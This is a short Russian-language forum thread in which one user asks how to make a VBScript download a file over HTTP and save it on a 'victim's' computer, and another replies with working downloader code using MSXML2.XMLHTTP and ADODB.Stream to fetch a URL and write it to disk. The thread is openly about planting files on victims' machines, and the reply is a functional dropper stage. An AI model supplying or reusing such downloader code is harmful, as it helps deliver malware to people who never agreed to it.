PDA

Просмотр полной версии : вопрос по vbs..


PaLaTen4IK
25.05.2007, 23:56
у меня такой вопрос - я хочу что-бы скрипт скачивал с хоста какой-нить файл и сохранял его на компе жертвы....

Set File = FSO.GetFile("\\test\test.exe")
File.Copy("C:\WINDOWS\test.exe")

в данном случаем скрипт скачивает файл с компа по сети, причем эти компы должны находится в одной под-сети... меня это не устраивает, я хочу что бы скрипт скачивал этот файл через http:// - как это сделать?? помогите плз...
------

GROB_T
26.05.2007, 00:00
Вот таким кодом:
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "http://", 0'тут вводи адрес сайта
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "file.ext", 2эздесь имя файла, с которым созранить